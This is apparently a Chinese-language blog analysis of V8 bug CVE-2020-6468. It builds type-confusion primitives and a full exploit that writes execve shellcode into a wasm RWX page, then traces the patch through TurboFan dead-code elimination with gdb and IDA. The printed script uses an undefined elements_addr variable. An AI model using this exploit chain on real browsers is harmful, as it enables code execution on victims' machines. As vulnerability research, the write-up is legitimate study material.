在新的v8(2020.3.30之后的版本)中引入了指针压缩技术Pointer Compression in V8，用以减少内存的消耗，其核心思想是：对于64的指针不存储其绝对地址而是存储其相对于某个基址的偏移，基址存储在某个寄存器中，这是一种拿计算资源换取存储资源的做法。

具体地，v8申请出连续的4G(2^32 bits)内存空间作为堆空间，64-bit指针原本的存储方式如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
Smi 64bit
+----------------------+----------------+---+
|                      |                |   |
| Signed value(32bit)  | Padding(31bit) | 0 |
|                      |                |   |
+----------------------+----------------+---+

Object 64bit
+---------------------------------------+---+
|                                       |   |
|            Pointer(63bit)             | 1 |
|                                       |   |
+---------------------------------------+---+

在指针压缩后Smi仍可以用32位内存表示，对象指针的低位保存在内存空间中作为offset，指针高4字节地址保存在寄存器r13中，取用指针时只需计算r13+offset即可得到指针的实际取值。

1
2
3
4
5
6
7
8
9
10
11
12
13
Smi 32bit
+---------------------+---+
|                     |   |
| Signed value(31bit) | 0 |
|                     |   |
+---------------------+---+

Object 32bit
+-----------------+---+          +---------------------+
|                 |   |          |                     |
|  offset (31bit) | 1 +<---------+     base(r13)       |
|                 |   |          |                     |
+-----------------+---+          +---------------------+

addressOf原语

首先通过越界读获取double_arr_maps和obj_arr_maps，将参数obj1存放于对象数组，越界写修改对象数组的maps为浮点数组的maps，类型混淆后可以得到该对象的地址。由于存在指针压缩，我们只能得到对象地址中的offset部分，但v8取指针实际地址的操作对我们来说是透明的，我们只需要在合适的地址布置offset就等价于布置了实际指针地址。获取地址后我们再修改obj_arr_maps为初始值。

1
2
3
4
5
6
7
8
9
10
function addressOf(obj1){
      obj_arr[0] = obj1;
      oob_arr[42] = i2f(pack_i64(double_map,obj_map_low));
      var res = f2i(obj_arr[0]);
      oob_arr[42] = i2f(pack_i64(obj_map,obj_map_low));
      return {
        low:get_low(res-1n),
        high:get_high(res-1n)
      };
  }

fakeObj原语

将目标地址存放在double_arr中，修改浮点数组的maps为obj_arr_maps造成类型混淆，此时获取得到的double_arr[0]即为伪造的对象，需要注意的是对象结构有合法性检查，我们在指定伪造对象的地址时需要提前在该内存地址布置合法的对象成员。获取伪造的对象后修改doubl_arr_maps为初始值。

1
2
3
4
5
6
7
function fakeObj(addr_high,addr_low){
    double_arr[0] = i2f(pack_i64(addr_high,addr_low+1));
    oob_arr[40] = i2f(pack_i64(obj_map,double_map_low));
    var res = double_arr[0];
    oob_arr[40] = i2f(pack_i64(double_map,double_map_low));
    return res;
  }

任意地址读写原语

double_arr->elements成员标识浮点数组的成员地址，假如我们可以控制某个浮点数组对象的elements为fake_addr，则可以对任意的地址做读写操作。具体地，从double_arr[1]开始伪造浮点数组对象的内存，利用fakeObj原语得到封装后的伪造对象fake_obj，修改double_arr[2]对应修改fake_obj->elements，对fake_obj[0]赋值即为对elements存储的地址赋值。地址和取值均可控制因此可以实现任意地址读写原语。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
double_arr[1] = i2f(pack_i64(double_map_high,double_map));//maps+property
double_arr[2] = i2f(pack_i64(0x20,elements_addr+0x21));//length+elements
double_arr[3] = i2f(0);//next_obj_maps
var fake_obj = fakeObj(double_map_high,elements_addr+0x10);//fake start @ double_arr[1]
//arbRead
function arbRead(addr){
  double_arr[2] = i2f(pack_i64(0x20,addr-0x8+1));
  var res = f2i(fake_obj[0]);
  double_arr[2] = i2f(pack_i64(0x20,elements_addr+0x21));
  return {
    low:get_low(res-1n),
    high:get_high(res-1n),
  };
}
//arbWrite
function arbWrite(addr,val){
  double_arr[2] = i2f(pack_i64(0x20,addr-0x8+1));
  fake_obj[0] = i2f(val);
  double_arr[2] = i2f(pack_i64(0x20,elements_addr+0x21));
}

Leak Wasm addr

我们在js代码中引入wasm代码，v8中会存在一个rwx段存储代码，假如我们可以将内存中的代码数据替换为shellcode就可以执行任意代码了。

调试发现可以通过Function->shared_info->instance->wasm_addr链的成员地址找到wasm所在page的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//wasmInstance.exports.main
DebugPrint: 0x18e708217b3d: [Function] in OldSpace
 - //...
 - shared_info: 0x18e708217b15 <SharedFunctionInfo 0>
 - //...
gdb-peda$ job 0x18e708217b15
//shared_info
0x18e708217b15: [SharedFunctionInfo] in OldSpace
 - //...
 - data: 0x18e708217af5 <WasmExportedFunctionData>
 - //...

gdb-peda$ job 0x18e708217af5
//data
0x18e708217af5: [WasmExportedFunctionData] in OldSpace
 - //..
 - instance: 0x18e708217a1d <Instance map = 0x18e708244951>
 - //..
gdb-peda$ telescope 0x18e708217a1d-1+88+0x10
0000| 0x18e708217a84 --> 0x255e9b2e8000 --> 0xcccccc000002bbe9
gdb-peda$ vmmap 0x255e9b2e8000
Start              End                Perm	Name
0x0000255e9b2e8000 0x0000255e9b2e9000 rwxp	mapped
gdb-peda$

Get Shell

劫持DataView的backing_store成员为wasm_addr，向其中写入shellcode再调用wasm函数即可触发恶意代码执行，弹出计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
//---------------------------------Issue 1076708--------------------------------------
//---------------------------------CVE-2020-6468--------------------------------------
function gc()
{
  for(var i = 0;i < ((1024*1024));i++){
    var a = new String();
  }
}

// create a dataview
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);

var buf8 = new ArrayBuffer(8);
var f64 = new Float64Array(buf8);
var u32 = new Uint32Array(buf8);

function f2i(val) {
    dv.setFloat64(0,val,true);
    return dv.getBigUint64(0,true);
}
// uint64 => double64
function i2f(val) {
    dv.setBigUint64(0,BigInt(val),true);
    return dv.getFloat64(0,true);
}

function pack_i64(val_high,val_low){
    dv.setUint32(0,val_low,true);
    dv.setUint32(4,val_high,true);
    return dv.getBigUint64(0,true);
}

function get_high(val){
    dv.setBigUint64(0,val,true);
    return dv.getInt32(4,true);
}

function get_low(val){
    dv.setBigUint64(0,val,true);
    return dv.getInt32(0,true);
}

function hex(i)
{
    return i.toString(16).padStart(16, "0");
}



class classA {
    constructor() {
      this.val = 0x4242;
      this.x = 0;
      this.a = [1,2,3];
    }
  }
  
  class classB {
    constructor() {
      this.val = 0x4141;
      this.x = 1;
      this.s = "dsa";
    }
  }
  
  var A = new classA();
  var B = new classB()
  
  function f (arg1, arg2) {
    if (arg2 == 41) {
      return 5;
    }
    var int8arr = new Int8Array ( 10 ) ;
    arg1.val = -1;
    int8arr [ 1500000000-1 ] = 22 ;
    async function f2 ( ) {
      const nothing = {} ;
      while ( 1 ) {
        if ( abc1 | abc2 ) {
          while ( nothing ) {
            await 1 ;
            print(abc3);
          }
        }
      }
    }
    f2 ( ) ;
  }
  gc();
  var a = {"a":"1"};
  var oob_arr = new Array(10);
  oob_arr[0] = 1.1;
  oob_arr[1] = 2.2;
  var i;
  // this may optimize and deopt, that's fine
  for (i=0; i < 20000; i++) {
      f(A,0);
      f(B,0);
  }
  // this will optimize it and it won't deopt
  // this loop needs to be less than the previous one
  //console.log("LENGTH: " + arr.length.toString());
  for (i=0; i < 10000; i++) {
      f(A,41);
      f(B,41);
  }
  
  // change the arr length
  console.log("-------------------------Trigger vuln---------------------------------");
  f(oob_arr,0);
  var double_arr = [1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8];
  var obj_arr = [a];
  gc();
  console.log("-------------------------Trigger vuln finished---------------------------------");
  console.log("[+]length of arr : " + oob_arr.length.toString());
  //leak double arr maps
  var double_map = get_high(f2i(oob_arr[40]));
  var double_map_low = get_low(f2i(oob_arr[40]));
  var double_map_high = get_low(f2i(oob_arr[41]));
  console.log("[+]double arr maps : " + hex(double_map));
  //leak obj arr maps
  var obj_map = get_high(f2i(oob_arr[42]));
  var obj_map_low = get_low(f2i(oob_arr[42]));
  var obj_map_high = get_low(f2i(oob_arr[43])); 
  //var obj_map = pack_i64(obj_map_high,obj_map_low);
  console.log("[+]obj arr maps : " + hex(obj_map));
  //addressOf
  function addressOf(obj1){
      obj_arr[0] = obj1;
      //console.log("[+]fake double maps in obj arr : " + hex(pack_i64(double_map,obj_map_low)));
      oob_arr[42] = i2f(pack_i64(double_map,obj_map_low));
      var res = f2i(obj_arr[0]);
      //console.log("[+]addressOf res : " + hex(res));
      oob_arr[42] = i2f(pack_i64(obj_map,obj_map_low));
      return {
        low:get_low(res-1n),
        high:get_high(res-1n)
      };
  }
  //fakeObj
  function fakeObj(addr_high,addr_low){
    double_arr[0] = i2f(pack_i64(addr_high,addr_low+1));
    oob_arr[40] = i2f(pack_i64(obj_map,double_map_low));
    var res = double_arr[0];
    //
    oob_arr[40] = i2f(pack_i64(double_map,double_map_low));
    return res;
  }
  var double_arr_addr_val = addressOf(double_arr);
  var double_arr_addr = double_arr_addr_val.low;
  //another value in 
  var double_arr_addr_high = double_arr_addr_val.high;
  // var double_arr_addr = get_low(addressOf(double_arr)-1n);
  // var double_arr_addr_high = get_high(addressOf(double_arr)-1n);
  console.log("[+]address of double addr : "+hex(double_arr_addr));
  //leak obj arr ddr
  var obj_arr_addr_val = addressOf(obj_arr);
  var obj_arr_addr = obj_arr_addr_val.low;
  var obj_arr_addr_high = obj_arr_addr_val.high;
  console.log("[+]address of obj addr : "+hex(obj_arr_addr));
  //
  //wasm method
  var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
  var wasmModule = new WebAssembly.Module(wasmCode);
  var wasmInstance = new WebAssembly.Instance(wasmModule,{});
  var f = wasmInstance.exports.main;

  
  //---------------------------------arbRead/arbWrite--------------------------------------
  //fake double_arr as obj
  double_arr[1] = i2f(pack_i64(double_map_high,double_map));
  double_arr[2] = i2f(pack_i64(0x20,elements_addr+0x21));
  double_arr[3] = i2f(0);
  
  console.log("[+]faking obj @ " + hex(pack_i64(double_arr_addr_high,elements_addr+0x10)));
  var fake_obj = fakeObj(double_map_high,elements_addr+0x10);
  console.log("[+]faking obj @ " + hex(addressOf(fake_obj).low));
  function arbRead(addr){
    double_arr[2] = i2f(pack_i64(0x20,addr-0x8+1));
    var res = f2i(fake_obj[0]);
    double_arr[2] = i2f(pack_i64(0x20,elements_addr+0x21));
    return {
      low:get_low(res-1n),
      high:get_high(res-1n),
    };
  }
  function arbWrite(addr,val){
    double_arr[2] = i2f(pack_i64(0x20,addr-0x8+1));
    fake_obj[0] = i2f(val);
    double_arr[2] = i2f(pack_i64(0x20,elements_addr+0x21));
  }
  //------------------------leak wasm addr-----------------------
  //var test_addr = arbRead(double_arr_addr);
  var f_addr = addressOf(f).low;
  var f_addr_high = addressOf(f).high;
  console.log("[+]f addr : " + hex(f_addr));
  console.log("[+]f addr high: " + hex(f_addr_high));
  //console.log("[+]test of arbread addr is : " + hex(test_addr.high) + hex(test_addr.low));
  //shared_info
  var shared_info_addr = arbRead(f_addr+0xc).low;
  console.log("[+]shared info addr of f : " + hex(shared_info_addr));
  //data
  var data_addr = arbRead(shared_info_addr+0x4).low;
  console.log("[+]data addr of shared info : " + hex(data_addr));
  //instance
  var instance_addr = arbRead(data_addr+0x8).low;
  console.log("[+]instance addr of data : " + hex(instance_addr));
  //wasm
  var wasm_addr = pack_i64(arbRead(instance_addr+88+0x10).high,arbRead(instance_addr+88+0x10).low)+1n;
  console.log("[+]wasm addr : " + hex(wasm_addr));
  //--------------------get shell----------------------
  var data_buf = new ArrayBuffer(128);
  var data_view = new DataView(data_buf);
  backing_store_addr = addressOf(data_buf).low+0x14;
  console.log("[+]backing store addr : " + hex(backing_store_addr));
  let sc=[0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05];
  arbWrite(backing_store_addr,wasm_addr);
  console.log("[+]hijacked the backing store addr.");

  for(var i = 0; i < sc.length; i++){
    data_view.setUint8(i,sc[i]);
  }
  console.log("[+]hijacked the wasm addr.");
  f();

漏洞修复

漏洞的patch共有两处，第一处diff1如下所示，新增代码检查目标节点是否为Terminate节点，避免其进入到Throw节点的替换代码中，在该函数返回的reduction为NoChange()。按常理说该节点应当被保留下来，但在后续IR图中该节点已经被消除，为了研究其消除的位置我们在gdb中动态调试。

在Dead-code-elimination中消除节点的判断条件是根据其control_input是否为Dead节点，其input节点181:EffectPhi和124:Loop节点都被消除掉成为Dead节点，因此在之后的elmination中该节点将直接从IR图中消除，不参与后面的优化阶段。

1
2
3
4
5
6
7
8
9
10
11
12
@@ -317,7 +317,10 @@
          node->opcode() == IrOpcode::kTailCall);
   Reduction reduction = PropagateDeadControl(node);
   if (reduction.Changed()) return reduction;
-  if (FindDeadInput(node) != nullptr) {
+  // Terminate nodes are not part of actual control flow, so they should never
+  // be replaced with Throw.
+  if (node->opcode() != IrOpcode::kTerminate &&
+      FindDeadInput(node) != nullptr) {
     Node* effect = NodeProperties::GetEffectInput(node, 0);
     Node* control = NodeProperties::GetControlInput(node, 0);
     if (effect->opcode() != IrOpcode::kUnreachable) {

我们patch之后的编译版本没有符号表，因此无法直接下源码断点，这里在IDA中查看关键调用的地址，直接在gdb中对内存地址下断点。

1
2
//0xB79C6A:call typed_lowering
//0xa38530:ReduceDeoptimizeOrReturnOrTerminateOrTailCall

进入ReduceDeoptimizeOrReturnOrTerminateOrTailCall函数时查看$rsi+20处的bit_field_，对于131:Terminate节点所在的内存下硬件断点，之后继续运行程序观察关键处理函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
gdb-peda$ ptype /o struct Node
/* offset    |  size */  type = class v8::internal::compiler::Node {
                         private:
                           static const int kOutlineMarker;
                           static const int kMaxInlineCapacity;
/*    0      |     8 */    const v8::internal::compiler::Operator *op_;
/*    8      |     8 */    class v8::internal::compiler::Type {
                             private:
/*    8      |     8 */        uintptr_t payload_;

                               /* total size (bytes):    8 */
                           } type_;
/*   16      |     4 */    v8::internal::compiler::Mark mark_;
/*   20      |     4 */    uint32_t bit_field_;
/*   24      |     8 */    v8::internal::compiler::Node::Use *first_use_;

                           /* total size (bytes):   32 */
                         }
//awatch * 0x5614a3211928

最终调试发现在DeadCodeElimination::ReduceLoopOrMerge函数中最终调用Replace函数将131:Terminate节点替换为了371:Dead节点，之后该节点被消除。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
   0x5614a18f6c63 <v8::internal::compiler::DeadCodeElimination::ReduceLoopOrMerge(v8::internal::compiler::Node*)+547>:	mov    rdi,QWORD PTR [r14+0x8]
   0x5614a18f6c67 <v8::internal::compiler::DeadCodeElimination::ReduceLoopOrMerge(v8::internal::compiler::Node*)+551>:	mov    rax,QWORD PTR [rdi]
   0x5614a18f6c6a <v8::internal::compiler::DeadCodeElimination::ReduceLoopOrMerge(v8::internal::compiler::Node*)+554>:	mov    rsi,rbx
=> 0x5614a18f6c6d <v8::internal::compiler::DeadCodeElimination::ReduceLoopOrMerge(v8::internal::compiler::Node*)+557>:	call   QWORD PTR [rax+0x10]
   0x5614a18f6c70 <v8::internal::compiler::DeadCodeElimination::ReduceLoopOrMerge(v8::internal::compiler::Node*)+560>:	mov    r12,QWORD PTR [r12]
   0x5614a18f6c74 <v8::internal::compiler::DeadCodeElimination::ReduceLoopOrMerge(v8::internal::compiler::Node*)+564>:	test   r12,r12
   0x5614a18f6c77 <v8::internal::compiler::DeadCodeElimination::ReduceLoopOrMerge(v8::internal::compiler::Node*)+567>:	je     0x5614a18f70cb <v8::internal::compiler::DeadCodeElimination::ReduceLoopOrMerge(v8::internal::compiler::Node*)+1675>
   0x5614a18f6c7d <v8::internal::compiler::DeadCodeElimination::ReduceLoopOrMerge(v8::internal::compiler::Node*)+573>:	mov    eax,DWORD PTR [r12+0x10]
Guessed arguments:
arg[0]: 0x7fff2da79c30 --> 0x5614a1dd5f50 (:internal::compiler::GraphReducer+16>:	0x00005614a1927c40)
arg[1]: 0x5614a3211928 --> 0x5614a1e09ba8 (:internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+336>:	0x00005614a1dd5568)
arg[2]: 0x5614a3258b20 --> 0x5614a1e09a58 (:internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object>:	0x00005614a1dd5568)
[------------------------------------stack-------------------------------------]
0000| 0x7fff2da79910 --> 0x7fff2da799a0 --> 0x5614a31deb50 --> 0x5614a31dead8 --> 0x5614a31d6db0 --> 0x29960 
0008| 0x7fff2da79918 --> 0x5614a320ec58 --> 0x5614a320c978 --> 0x5614a1e0bc00 (:internal::compiler::(anonymous namespace)::GetJSOperatorGlobalCache()::object+1296>:	0x00005614a1dd5568)
0016| 0x7fff2da79920 --> 0x5614a321c5b8 --> 0x5614a3223450 --> 0x5614a1e09c38 (:internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+480>:	0x00005614a1dd5568)
0024| 0x7fff2da79928 --> 0x5614a321c5c0 --> 0x5614a3207908 --> 0x5614a1e09ea8 (:internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+1104>:	0x00005614a1dd5568)
0032| 0x7fff2da79930 --> 0x5614a321c5c0 --> 0x5614a3207908 --> 0x5614a1e09ea8 (:internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+1104>:	0x00005614a1dd5568)
0040| 0x7fff2da79938 --> 0x5614a31c7120 --> 0x1098 
0048| 0x7fff2da79940 --> 0x5614a0f921a6 ("DeadCodeElimination")
0056| 0x7fff2da79948 --> 0x7f3500000002 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00005614a18f6c6d in v8::internal::compiler::DeadCodeElimination::ReduceLoopOrMerge(v8::internal::compiler::Node*) ()
gdb-peda$ x/8gx 0x5614a1dd5f50+0x10
0x5614a1dd5f60 <vtable for v8::internal::compiler::GraphReducer+32>:	0x00005614a1929090	0x00005614a1929000
0x5614a1dd5f70 <vtable for v8::internal::compiler::GraphReducer+48>:	0x00005614a19290a0	0x00000000000000b0
0x5614a1dd5f80 <vtable for v8::internal::compiler::TurboJsonFile+8>:	0x0000000000000000	0x0000000000000000
0x5614a1dd5f90 <vtable for v8::internal::compiler::TurboJsonFile+24>:	0x00005614a192abf0	0x00005614a192acf0
gdb-peda$ x/8i 0x00005614a1929090
   0x5614a1929090 <v8::internal::compiler::GraphReducer::Replace(v8::internal::compiler::Node*, v8::internal::compiler::Node*)>:	push   rbp
   0x5614a1929091 <v8::internal::compiler::GraphReducer::Replace(v8::internal::compiler::Node*, v8::internal::compiler::Node*)+1>:	mov    rbp,rsp
   0x5614a1929094 <v8::internal::compiler::GraphReducer::Replace(v8::internal::compiler::Node*, v8::internal::compiler::Node*)+4>:	mov    ecx,0xffffffff
   0x5614a1929099 <v8::internal::compiler::GraphReducer::Replace(v8::internal::compiler::Node*, v8::internal::compiler::Node*)+9>:	pop    rbp
   0x5614a192909a <v8::internal::compiler::GraphReducer::Replace(v8::internal::compiler::Node*, v8::internal::compiler::Node*)+10>:	
    jmp    0x5614a1928c10 <v8::internal::compiler::GraphReducer::Replace(v8::internal::compiler::Node*, v8::internal::compiler::Node*, unsigned int)>
   0x5614a192909f:	int3   
   0x5614a19290a0 <v8::internal::compiler::GraphReducer::ReplaceWithValue(v8::internal::compiler::Node*, v8::internal::compiler::Node*, v8::internal::compiler::Node*, v8::internal::compiler::Node*)>:	push   rbp
   0x5614a19290a1 <v8::internal::compiler::GraphReducer::ReplaceWithValue(v8::internal::compiler::Node*, v8::internal::compiler::Node*, v8::internal::compiler::Node*, v8::internal::compiler::Node*)+1>:	mov    rbp,rsp
//0x83->131:Terminate
gdb-peda$ telescope 0x5614a3211928+20
0000| 0x5614a321193c --> 0xa323073822000083 
0008| 0x5614a3211944 --> 0xa325be4000005614 
0016| 0x5614a321194c --> 0xa320ec3800005614 
0024| 0x5614a3211954 --> 0xa1dd556800005614 
0032| 0x5614a321195c --> 0xa0f9843d00005614 
0040| 0x5614a3211964 --> 0x78000300005614 
0048| 0x5614a321196c --> 0x1 
0056| 0x5614a3211974 --> 0x1 
//0x173->371:Dead
gdb-peda$ telescope 0x5614a3258b20+20
0000| 0x5614a3258b34 --> 0xa320ec0810000173 
0008| 0x5614a3258b3c --> 0x5614 
0016| 0x5614a3258b44 --> 0x0 
0024| 0x5614a3258b4c --> 0x0 
0032| 0x5614a3258b54 --> 0x0 
0040| 0x5614a3258b5c --> 0x0 
0048| 0x5614a3258b64 --> 0x0 
0056| 0x5614a3258b6c --> 0x0 
//op_
gdb-peda$ x/4gx 0x5614a3258b20
0x5614a3258b20:	0x00005614a1e09a58	0x0000000000000001
0x5614a3258b30:	0x100001730000001b	0x00005614a320ec08
//mnemonic_
gdb-peda$ x/4gx 0x00005614a1e09a58
0x5614a1e09a58 <v8::internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object>:	0x00005614a1dd5568	0x00005614a0fa8fd7
0x5614a1e09a68 <v8::internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+16>:	0x000000000018003d	0x0000000000000000
gdb-peda$ x/s 0x00005614a1dd5568
0x5614a1dd5568 <vtable for v8::internal::compiler::Operator+16>:	"\320\\\031\241\024V"
gdb-peda$ x/s 0x00005614a0fa8fd7
0x5614a0fa8fd7:	"Dead"
gdb-peda$

查看源码，与IDA对应时我们需要查看一些宏的值，此时可以在Local types搜索kLoop，在Edit处可以导出联合中各成员的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
enum v8::internal::compiler::IrOpcode::Value : __int32
{
  kStart_1 = 0x0,
  kLoop_0 = 0x1,
  kBranch = 0x2,
  kSwitch = 0x3,
  kIfTrue = 0x4,
  kIfFalse = 0x5,
  kIfSuccess = 0x6,
  kIfException = 0x7,
  kIfValue = 0x8,
  kIfDefault = 0x9,
  kMerge = 0xA,
  kDeoptimize = 0xB,
  kDeoptimizeIf = 0xC,
  kDeoptimizeUnless = 0xD,
  kTrapIf = 0xE,
  kTrapUnless = 0xF,
  kReturn_1 = 0x10,
  kTailCall = 0x11,
  kTerminate = 0x12,
  kOsrNormalEntry = 0x13,
  kOsrLoopEntry = 0x14,
  kThrow_4 = 0x15,
  kEnd = 0x16,
  //..
  kDeadValue = 0x3C,
  kDead = 0x3D,
}

重新进行调试，发现处理的节点为124:Loop，故node->opcode() != IrOpcode::kLoop条件不成立，其node->InputAt(0)为70:JSCreateTypedArray，类型为kJSCreateTypedArray故成功进入条件语句，此时的inputs.count()==1，该input为371:Dead节点，故第二轮调出循环，将131:Terminate节点替换为371:Dead节点，在之前某个时刻Loop的输入节点被替换为了Dead节点，故其所有的use也被替换为了Dead节点(具体位置调试可以再回溯查看124:Loop的输入节点，下硬件断点观察reduce函数)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//src/compiler/dead-code-elimination.cc:114
Reduction DeadCodeElimination::ReduceLoopOrMerge(Node* node) {
  DCHECK(IrOpcode::IsMergeOpcode(node->opcode()));
  Node::Inputs inputs = node->inputs();
  DCHECK_LE(1, inputs.count());
  // Count the number of live inputs to {node} and compact them on the fly, also
  // compacting the inputs of the associated {Phi} and {EffectPhi} uses at the
  // same time.  We consider {Loop}s dead even if only the first control input
  // is dead.
  int live_input_count = 0;
  if (node->opcode() != IrOpcode::kLoop ||
      node->InputAt(0)->opcode() != IrOpcode::kDead) {
    for (int i = 0; i < inputs.count(); ++i) {
      Node* const input = inputs[i];
      // Skip dead inputs.
      if (input->opcode() == IrOpcode::kDead) continue;
      // Compact live inputs.
      if (live_input_count != i) {
        node->ReplaceInput(live_input_count, input);
        for (Node* const use : node->uses()) {
          if (NodeProperties::IsPhi(use)) {
            DCHECK_EQ(inputs.count() + 1, use->InputCount());
            use->ReplaceInput(live_input_count, use->InputAt(i));
          }
        }
      }
      ++live_input_count;
    }
  }
  if (live_input_count == 0) {
    //这里
    return Replace(dead());
  //....
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
//断于 input->opcode() == IrOpcode::kDead判断处
//0x173表示371节点
//0x3d表示kDead
[-------------------------------------code-------------------------------------]
   0x55c5ca7ccb08 <v8::internal::compiler::DeadCodeElimination::ReduceLoopOrMerge(v8::internal::compiler::Node*)+200>:	cmp    r12,r14
   0x55c5ca7ccb0b <v8::internal::compiler::DeadCodeElimination::ReduceLoopOrMerge(v8::internal::compiler::Node*)+203>:	je     0x55c5ca7ccbf3 <v8::internal::compiler::DeadCodeElimination::ReduceLoopOrMerge(v8::internal::compiler::Node*)+435>
   0x55c5ca7ccb11 <v8::internal::compiler::DeadCodeElimination::ReduceLoopOrMerge(v8::internal::compiler::Node*)+209>:	mov    rdx,QWORD PTR [rbx+r12*8]
=> 0x55c5ca7ccb15 <v8::internal::compiler::DeadCodeElimination::ReduceLoopOrMerge(v8::internal::compiler::Node*)+213>:	mov    rax,QWORD PTR [rdx]
   0x55c5ca7ccb18 <v8::internal::compiler::DeadCodeElimination::ReduceLoopOrMerge(v8::internal::compiler::Node*)+216>:	cmp    WORD PTR [rax+0x10],0x3d
   0x55c5ca7ccb1d <v8::internal::compiler::DeadCodeElimination::ReduceLoopOrMerge(v8::internal::compiler::Node*)+221>:	je     0x55c5ca7ccb04 <v8::internal::compiler::DeadCodeElimination::ReduceLoopOrMerge(v8::internal::compiler::Node*)+196>
   0x55c5ca7ccb1f <v8::internal::compiler::DeadCodeElimination::ReduceLoopOrMerge(v8::internal::compiler::Node*)+223>:	mov    eax,r13d
   0x55c5ca7ccb22 <v8::internal::compiler::DeadCodeElimination::ReduceLoopOrMerge(v8::internal::compiler::Node*)+226>:	cmp    r12,rax
[------------------------------------stack-------------------------------------]
0000| 0x7ffc562f0f50 --> 0x7ffc562f0fe0 --> 0x55c5cbae7b60 --> 0x55c5cbae7ae8 --> 0x55c5cbadddb0 --> 0x29960 
0008| 0x7ffc562f0f58 --> 0x55c5cbb15c58 --> 0x55c5cbb13978 --> 0x55c5cace1c00 (:internal::compiler::(anonymous namespace)::GetJSOperatorGlobalCache()::object+1296>:	0x000055c5cacab568)
0016| 0x7ffc562f0f60 --> 0x55c5cbaa6c60 ("- Replacement of #198: IfFalse(371) with #371: Dead by reducer DeadCodeElimination\nlimination\ner DeadCodeElimination\n, 5, 16, 55) with #392: DeadValue[kMachNone](389) by reducer DeadCodeElimination\n\nt"...)
0024| 0x7ffc562f0f68 --> 0x53 ('S')
0032| 0x7ffc562f0f70 --> 0x13 
0040| 0x7ffc562f0f78 --> 0x7f84bd8f600d (<_IO_new_file_write+45>:	test   rax,rax)
0048| 0x7ffc562f0f80 --> 0x55c5c9e681a6 ("DeadCodeElimination")
0056| 0x7ffc562f0f88 --> 0x7f8400000002 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000055c5ca7ccb15 in v8::internal::compiler::DeadCodeElimination::ReduceLoopOrMerge(v8::internal::compiler::Node*) ()
gdb-peda$ telescope 0x55c5cbb5fb20+20
0000| 0x55c5cbb5fb34 --> 0xcbb15c0810000173 <---
0008| 0x55c5cbb5fb3c --> 0x55c5 
0016| 0x55c5cbb5fb44 --> 0x0 
0024| 0x55c5cbb5fb4c --> 0x0 
0032| 0x55c5cbb5fb54 --> 0x0 
0040| 0x55c5cbb5fb5c --> 0x0 
0048| 0x55c5cbb5fb64 --> 0x0 
0056| 0x55c5cbb5fb6c --> 0x0 
gdb-peda$ telescope 0x55c5cbb5fb20
0000| 0x55c5cbb5fb20 --> 0x55c5cacdfa58 (:internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object>:	0x000055c5cacab568)
0008| 0x55c5cbb5fb28 --> 0x1 
0016| 0x55c5cbb5fb30 --> 0x100001730000001b 
0024| 0x55c5cbb5fb38 --> 0x55c5cbb15c08 --> 0x55c5cbb646a0 --> 0x55c5cbb64308 --> 0x0 
0032| 0x55c5cbb5fb40 --> 0x0 
0040| 0x55c5cbb5fb48 --> 0x0 
